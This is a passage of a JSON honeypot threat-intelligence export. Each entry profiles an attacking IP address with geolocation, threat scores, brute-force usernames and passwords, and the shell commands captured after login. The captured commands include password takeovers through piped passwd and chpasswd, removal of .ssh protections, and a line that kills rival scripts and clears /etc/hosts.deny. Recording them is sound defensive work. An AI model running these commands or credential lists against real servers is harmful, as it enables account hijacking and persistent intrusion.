        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 254,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T21:01:16.555000+00:00",
        "last_seen_30d": "2026-04-12T21:55:30.338000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 207,
        "Suricata": 47
      }
    },
    "68.220.171.40": {
      "attack_count": 204,
      "first_seen": "2026-04-24T03:24:14.965Z",
      "last_seen": "2026-04-24T04:17:27.160Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "test",
        "ubuntu",
        "345gs5662d34",
        "abhi",
        "ali",
        "devuser",
        "it",
        "jenkins",
        "server",
        "test1",
        "testing",
        "user"
      ],
      "passwords_attempted": [
        "123456",
        "1",
        "123",
        "1qazXSW@3edc",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa112211.",
        "AaAa123",
        "Ali17",
        "Dd123123",
        "Devuser@2026",
        "P@ss1234",
        "Pa$$w0rd",
        "Qwer!234",
        "Test!2025",
        "Test14!",
        "ZZcc111",
        "abhi",
        "asdf",
        "ccZZ000"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Pa$$w0rd\\nzmUqZa8r5QV4\\nzmUqZa8r5QV4\\n\"|passwd",
        "echo -e \"Pa$$w0rd\\nzmUqZa8r5QV4\\nzmUqZa8r5QV4\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Boydton",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 29.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 272,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T03:24:14.965000+00:00",
        "last_seen_30d": "2026-04-24T04:18:35.570000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 204,
        "Suricata": 68
      }
    },
    "116.110.152.174": {
      "attack_count": 196,
      "first_seen": "2026-04-10T01:32:31.631Z",
      "last_seen": "2026-04-10T01:44:46.656Z",
      "sessions": 40,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "ubnt",
        "ashish",
        "brenda",
        "cisco",
        "client",
        "db2inst2",
        "dubai",
        "jay",
        "linaro",
        "madrid",
        "mms",
        "pi",
        "pizza",
        "public",
        "reception",
        "sergey",
        "shagrath",
        "shipping"
      ],
      "passwords_attempted": [
        "password",
        "039715582364317",
        "0987654321",
        "112233",
        "123",
        "12345678",
        "1234567890%*()",
        "Deadstar!",
        "P@ssw0rd",
        "admin1",
        "aerohive",
        "ashish",
        "brenda",
        "cisco",
        "db2inst2",
        "dubai",
        "jay",
        "linaro",
        "madrid",
        "mms"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 13.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 301,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T01:32:31.631000+00:00",
        "last_seen_30d": "2026-04-10T01:45:48.588000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 196,
        "Suricata": 105
      }
    },
    "154.18.197.35": {
      "attack_count": 194,
      "first_seen": "2026-04-17T06:16:03.625Z",
      "last_seen": "2026-04-17T07:03:00.189Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "z",
        "345gs5662d34",
        "deploy",
        "deployer",
        "devopsuser",
        "ec2-user",
        "ftpuser",
        "kubeadmin",
        "mc",
        "miladmim",
        "minecraft",
        "postgres",
        "sammy",
        "test",
        "user"
      ],
      "passwords_attempted": [
        "!QAZ2wsx!!",
        "0",
        "1",
        "123456",
        "1qaz@WSX3edc$RFV#",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin123456789!!",
        "P@ssW0rd",
        "Passw0rd",
        "QWERTYU12",
        "QWERasdf1234",
        "Root#2025",
        "Sammy$",
        "a12345687",
        "a123456987",
        "aA1234567",
        "deployer123",
        "devopsuser",
        "ec2-user@2025"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"1\\nX2naUPDDqGRL\\nX2naUPDDqGRL\\n\"|passwd",
        "echo -e \"1\\nX2naUPDDqGRL\\nX2naUPDDqGRL\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Quezon City",
      "asn": 142271,
      "as_org": "EWS DS Networks Inc",
      "threat_score": 20.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 258,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T06:16:03.625000+00:00",
        "last_seen_30d": "2026-04-17T07:04:06.767000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 194,
        "Suricata": 64
      }
    },
    "197.225.146.23": {
      "attack_count": 194,
      "first_seen": "2026-04-05T15:46:28.611Z",
      "last_seen": "2026-04-05T16:58:48.788Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "deploy",
        "ftp",
        "345gs5662d34",
        "admin",
        "beehive",
        "dev",
        "git",
        "odoo",
        "steam",
        "support",
        "test"
      ],
      "passwords_attempted": [
        "$upp0rt",
        "1111",
        "1234",
        "123@asdf",
        "1Qaz2Wsx3Edc",
        "1qaz@WSX",
        "3245gs5662d34",
        "345gs5662d34",
        "A123456",
        "A123456F",
        "ABCabc123",
        "Aa147258@",
        "Aa@12345678",
        "Demo@123",
        "Ks123456",
        "Qazwsx654321..",
        "Root666@",
        "admin11",
        "bbZZ123123",
        "beehive"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"ftp@123\\n6BdvWAUYOTWW\\n6BdvWAUYOTWW\\n\"|passwd",
        "echo -e \"ftp@123\\n6BdvWAUYOTWW\\n6BdvWAUYOTWW\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Mauritius",
      "country_code": "MU",
      "city": "Rose Hill",
      "asn": 23889,
      "as_org": "MauritiusTelecom",
      "threat_score": 6.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 261,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T15:46:28.611000+00:00",
        "last_seen_30d": "2026-04-05T16:59:58.087000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 194,
        "Suricata": 67
      }
    },
    "103.13.206.208": {
      "attack_count": 183,
      "first_seen": "2026-04-16T23:48:17.356Z",
      "last_seen": "2026-04-17T00:50:01.801Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "test",
        "345gs5662d34",
        "deploy",
        "dev",
        "pzuser",
        "smbtest",
        "test1",
        "user"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa123456",
        "Aa159753",
        "Admin123789",
        "Dev!",
        "Pakistan@123",
        "Qaz147258",
        "Qazwsx1!!",
        "Qq123123",
        "Root2020@#",
        "Root6",
        "Root999..",
        "Server1",
        "Test2025",
        "a5202614",
        "asd123456",
        "deployment",
        "pass123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:75cqAApfigc9\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.9,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 243,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T23:48:17.356000+00:00",
        "last_seen_30d": "2026-04-17T00:51:08.253000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 183,
        "Suricata": 60
      }
    },
    "46.253.45.10": {
      "attack_count": 179,
      "first_seen": "2026-04-12T00:05:30.628Z",
      "last_seen": "2026-04-12T00:39:32.303Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "user",
        "git",
        "345gs5662d34",
        "copyuser",
        "ftpuser",
        "nicole",
        "test101",
        "user4"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "4",
        "654321",
        "Aa123b",
        "Qazwsx6666",
        "Qwer@1234",
        "Root4321!!",
        "Ubuntu08!",
        "User14!",
        "a123456!",
        "admin12345678!@#",
        "admin@321",
        "adminme",
        "copyuser",
        "git123",
        "login2024",
        "nicole",
        "qmfltmqjs!@#$",
        "qwer2023!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"admin@321\\nV8jHnFIBRVgh\\nV8jHnFIBRVgh\\n\"|passwd",
        "echo -e \"admin@321\\nV8jHnFIBRVgh\\nV8jHnFIBRVgh\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Vilanova i la Geltr\u00fa",
      "asn": 206076,
      "as_org": "Ingenieria y Suministros Profesionales, S.L.",
      "threat_score": 14.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 233,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T00:05:30.628000+00:00",
        "last_seen_30d": "2026-04-12T00:40:33.240000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 179,
        "Suricata": 54
      }
    },
    "222.232.176.7": {
      "attack_count": 168,
      "first_seen": "2026-04-28T14:00:55.616Z",
      "last_seen": "2026-04-28T14:31:41.436Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "esroot"
      ],
      "passwords_attempted": [
        "!@#$%^&*()_+",
        "1002@Efx",
        "111111",
        "1qaz2wsx,./!@#",
        "224466",
        "3245gs5662d34",
        "345gs5662d34",
        "Asdf123!@#",
        "NeWPass321",
        "Pbeh4v042I8XKW0@@",
        "Shiyiyue1",
        "Website",
        "Welcome@2026",
        "celtic1xnh",
        "iptv!@#123",
        "ivradmin",
        "korea2025",
        "password5202620",
        "redhat@2025",
        "sunmedia"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:SckBbPZsrWjX\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Dong-gu",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 33.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 217,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T14:00:55.616000+00:00",
        "last_seen_30d": "2026-04-28T14:32:49.373000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 49
      }
    },
    "14.103.178.182": {
      "attack_count": 134,
      "first_seen": "2026-04-08T18:41:24.947Z",
      "last_seen": "2026-04-08T18:59:13.826Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "consulta",
        "deploy",
        "ftpuser",
        "odoo",
        "steam",
        "test1",
        "ubuntu"
      ],
      "passwords_attempted": [
        "123456",
        "123qwe!@",
        "1QA2ws3ed",
        "1qaz2wsx!@#",
        "P@ssw0rd",
        "Qwertyu12345",
        "abcd1234!",
        "admin123!",
        "azerty123",
        "frappe!2025",
        "ftpuser01!",
        "hik12345+",
        "odoo12!",
        "qazwsx1@123",
        "qwertyuiop.."
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"odoo12!\\nu4DhJ3GTTH31\\nu4DhJ3GTTH31\\n\"|passwd",
        "echo -e \"odoo12!\\nu4DhJ3GTTH31\\nu4DhJ3GTTH31\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 173,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T18:41:24.947000+00:00",
        "last_seen_30d": "2026-04-08T19:00:21.353000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 134,
        "Suricata": 39
      }
    },
    "149.56.25.15": {
      "attack_count": 122,
      "first_seen": "2026-04-30T06:03:28.623Z",
      "last_seen": "2026-04-30T06:05:43.330Z",
      "sessions": 61,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Montreal",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 35.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 184,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T06:03:28.623000+00:00",
        "last_seen_30d": "2026-04-30T06:06:50.445000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 122,
        "Suricata": 62
      }
    },
    "14.103.123.8": {
      "attack_count": 77,
      "first_seen": "2026-04-10T11:48:44.622Z",
      "last_seen": "2026-04-10T12:28:12.630Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "arkserver",
        "joaquin",
        "roman"
      ],
      "passwords_attempted": [
        "1234",
        "28092025",
        "Admin123456789#",
        "Lol123",
        "Qwert22222",
        "Root2025!@#",
        "ark",
        "joaquin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 11.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 126,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T11:48:44.622000+00:00",
        "last_seen_30d": "2026-04-10T12:34:54.055000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 77,
        "Suricata": 49
      }
    },
    "139.135.43.155": {
      "attack_count": 50,
      "first_seen": "2026-04-11T05:17:51.147Z",
      "last_seen": "2026-04-11T05:23:15.613Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 11.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T05:17:51.147000+00:00",
        "last_seen_30d": "2026-04-11T05:24:22.824000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "140.235.83.193": {
      "attack_count": 50,
      "first_seen": "2026-04-22T16:11:13.380Z",
      "last_seen": "2026-04-22T16:16:40.684Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T16:11:13.380000+00:00",
        "last_seen_30d": "2026-04-22T16:17:41.963000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "206.135.174.85": {
      "attack_count": 50,
      "first_seen": "2026-04-20T01:25:21.298Z",
      "last_seen": "2026-04-20T01:30:52.793Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Sialkot",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 21.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T01:25:21.298000+00:00",
        "last_seen_30d": "2026-04-20T01:31:53.432000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "45.227.254.170": {
      "attack_count": 40,
      "first_seen": "2026-04-01T16:03:09.289Z",
      "last_seen": "2026-04-29T07:03:56.929Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Panama",
      "country_code": "PA",
      "city": null,
      "asn": 267784,
      "as_org": "Flyservers S.A.",
      "threat_score": 52.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.5,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 70,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T16:03:09.289000+00:00",
        "last_seen_30d": "2026-04-29T07:05:06.016000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 40,
        "Suricata": 30
      }
    },
    "103.173.7.200": {
      "attack_count": 38,
      "first_seen": "2026-04-28T02:47:10.486Z",
      "last_seen": "2026-04-28T02:51:17.014Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Sialkot",
      "asn": 142647,
      "as_org": "Nasstec Airnet Networks Private Limited",
      "threat_score": 28.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 58,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T02:47:10.486000+00:00",
        "last_seen_30d": "2026-04-28T02:52:24.144000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 38,
        "Suricata": 20
      }
    },
    "139.28.49.98": {
      "attack_count": 38,
      "first_seen": "2026-04-27T12:44:48.024Z",
      "last_seen": "2026-04-27T13:07:30.662Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": null,
      "asn": 216472,
      "as_org": "High Speed For Internet Services L.L.C",
      "threat_score": 27.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 60,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T12:44:48.024000+00:00",
        "last_seen_30d": "2026-04-27T13:08:46.409000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 38,
        "Suricata": 22
      }
    },
    "152.32.87.10": {
      "attack_count": 38,
      "first_seen": "2026-04-30T10:32:01.654Z",
      "last_seen": "2026-04-30T10:42:19.127Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Makati City",
      "asn": 17639,
      "as_org": "Converge ICT Solutions Inc.",
      "threat_score": 30.5,
